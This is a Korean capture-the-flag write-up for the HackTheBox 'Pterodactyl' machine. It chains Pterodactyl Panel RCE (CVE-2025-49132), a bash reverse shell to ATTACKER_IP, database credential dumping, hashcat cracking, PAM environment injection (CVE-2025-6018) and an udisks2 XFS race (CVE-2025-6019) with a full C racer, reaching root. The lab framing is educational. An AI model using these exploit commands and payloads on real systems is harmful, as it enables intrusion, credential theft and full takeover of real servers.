
HTB Season 10 - Pterodactyl 머신 writeup. CVE-2025-49132 (Pterodactyl Panel RCE) 및 CVE-2025-6018/6019 (udisks2 권한 상승)를 다루는 Medium 난이도 Linux 머신.
난이도: 중간 | OS: Linux (openSUSE Leap 15.6) | 시즌: 10
Pterodactyl은 Pterodactyl 게임 서버 패널을 실행하는 중간 난이도의 Linux 머신입니다. 공격 체인은 패널의 인증되지 않은 LFI-to-RCE 취약점, MySQL을 통한 자격 증명 추출, SSH 접근을 위한 bcrypt 해시 크래킹, 그리고 PAM 세션 주입과 udisks2 XFS 리사이즈 경쟁 조건을 악용하는 두 개의 CVE 권한 상승 체인으로 구성됩니다.
플래그:
************************nmap -sSCV -A --min-rate 4000 10.129.44.184
열린 포트:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 |
| 80 | HTTP | nginx/1.21.5 → pterodactyl.htb |
echo "10.129.44.184 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts
dirsearch -u http://pterodactyl.htb/ -t 40
curl -s http://pterodactyl.htb/changelog.txt
changelog에서 얻은 주요 정보:
panel.pterodactyl.htbcurl -s "http://pterodactyl.htb/phpinfo.php" | grep -E "register_argc|include_path|open_basedir|upload_tmp_dir"
| 설정 | 값 | 의미 |
|---|
CVE-2025-49132는 Pterodactyl Panel ≤ v1.11.10에 영향을 줍니다. /locales/locale.json 엔드포인트는 locale 및 namespace 매개변수를 필터링이나 인증 없이 PHP의 include()에 직접 전달하여 디렉터리 트래버설과 pearcmd 기반 RCE를 가능하게 합니다.
git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132
# Dump config (DB creds + APP_KEY)
python3 exploit.py http://panel.pterodactyl.htb
# Test RCE
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "id" \
--pear-dir /usr/share/php/PEAR
출력: uid=474(wwwrun) gid=477(www) groups=477(www)
| Service | Username | Password |
|---|---|---|
| MySQL | pterodactyl | PteraPanel |
| Laravel | APP_KEY | base64:UaThTPQnUjrrK61o+... |
# Listener
nc -lnvp 4444
# Exploit
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pear-dir /usr/share/php/PEAR
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 \
-e "USE panel; SELECT username,email,password FROM users;"
| Username | Hash |
|---|---|
headmonitor | $2y$10$3WJht3/5GOQmOXdljPbAJet... |
phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoO... |
cat /home/phileasfogg3/user.txt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -w 3
결과: phileasfogg3 : !QAZ2wsx
ssh [email protected]
# password: !QAZ2wsx
sudo -l
(ALL) ALL이 구성되어 있지만 targetpw Defaults 옵션은 root의 비밀번호를 요구하므로 일반적인 sudo 악용이 차단됩니다.
CVE-2025-6018은 openSUSE의 pam_env.so를 악용하여 로그인 시 환경 변수를 주입합니다. ~/.pam_environment에 XDG_SEAT=seat0 및 XDG_VTNR=1을 배치하면 원격 SSH 사용자가 Polkit을 속여 자신의 세션을 활성 로컬 콘솔 세션(allow_active)으로 간주하게 만들어 하드웨어 관리 D-Bus 작업을 잠금 해제할 수 있습니다.
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
# Exit and SSH back in (PAM re-reads on fresh login)
exit
ssh [email protected]
# Verify
echo $XDG_SEAT # seat0
echo $XDG_VTNR # 1
CVE-2025-6019는 udisks2가 Filesystem.Resize D-Bus 호출 중 XFS 이미지를 일시적으로 마운트할 때 libblockdev에 누락된 nosuid 플래그를 악용합니다. 이 시간 창 동안 이미지 내부의 SUID 바이너리를 실행하기 위한 경쟁을 통해 allow_active Polkit 권한을 가진 비특권 사용자가 루트 셸을 얻을 수 있습니다.
# Create XFS image using target's mkfs.xfs for compatibility
scp phileasfogg3@TARGET:/sbin/mkfs.xfs /tmp/target_mkfs_xfs
# Build on target directly instead
ssh phileasfogg3@TARGET
dd if=/dev/zero of=/tmp/xfs_new.img bs=1M count=300
/sbin/mkfs.xfs -f /tmp/xfs_new.img
공격자에게 전송, SUID 바이너리 주입, 다시 전송:
# On attacker (as root)
scp phileasfogg3@TARGET:/tmp/xfs_new.img /tmp/xfs_new.img
mount -o loop,suid /tmp/xfs_new.img /tmp/mnt
cp rootbash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl # Must show -rwsr-xr-x
umount /tmp/mnt
gzip -c /tmp/xfs_new.img > xfs_new.img.gz
// racer.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/stat.h>
int main() {
char path[512], cmd[512];
struct stat st;
while(1) {
DIR *d = opendir("/tmp");
struct dirent *e;
while((e = readdir(d))) {
if(strncmp(e->d_name, "blockdev.", 9) == 0) {
snprintf(path, sizeof(path), "/tmp/%s/xpl", e->d_name);
if(stat(path, &st) == 0 && (st.st_mode & S_ISUID)) {
closedir(d);
snprintf(cmd, sizeof(cmd),
"%s -p -c 'cp /bin/bash /tmp/b; chmod 4755 /tmp/b'", path);
system(cmd);
return 0;
}
}
}
closedir(d);
}
}
gcc -O2 -o racer racer.c
# On target
wget http://ATTACKER_IP/xfs_new.img.gz && gunzip xfs_new.img.gz
wget http://ATTACKER_IP/racer && chmod +x racer
udisksctl loop-setup -f /tmp/xfs_new.img --no-user-interaction
# Note loop device number (e.g. loop7)
rm -rf /tmp/blockdev.* 2>/dev/null
/tmp/racer &
for i in $(seq 1 300); do
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop7 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>/dev/null &
done
wait
결과: 루트 셸 획득.
id
# uid=0(root)
cat /root/root.txt
[Nmap] Ports 22, 80
↓
[Web Enum] changelog.txt → Pterodactyl Panel v1.11.10
↓
[phpinfo.php] register_argc_argv=On, PEAR in include_path
↓
[CVE-2025-49132] Unauth LFI → pearcmd RCE → wwwrun shell
↓
[MySQL] pterodactyl:PteraPanel → bcrypt hashes
↓
[Hashcat] phileasfogg3:!QAZ2wsx
↓
[SSH] phileasfogg3
↓
[CVE-2025-6018] ~/.pam_environment → allow_active bypass
↓
[CVE-2025-6019] udisks2 XFS resize race → SUID exec → ROOT
| Service | Username | Password |
|---|---|---|
| MySQL | pterodactyl | PteraPanel |
| SSH / Panel | phileasfogg3 | !QAZ2wsx |
작성자: [kareem elsheikh] | HackTheBox 시즌 10
register_argc_argv | 켜짐 | pearcmd CLI 악용을 가능하게 함 |
include_path | .:/usr/share/php8:/usr/share/php/PEAR | pearcmd.php 접근 가능 |
open_basedir | (값 없음) | 무제한 파일시스템 접근 |
| Tool | Purpose |
|---|
| nmap | 포트 스캐닝 |
| dirsearch | 웹 디렉터리 무차별 대입 |
| CVE-2025-49132 exploit | 인증되지 않은 LFI + pearcmd RCE |
| hashcat (-m 3200) | Bcrypt 크래킹 |
| CVE-2025-6018-6019 PoC | PAM 우회 + udisks2 레이스 |
| Custom C racer | nosuid 경쟁 조건에서 승리 |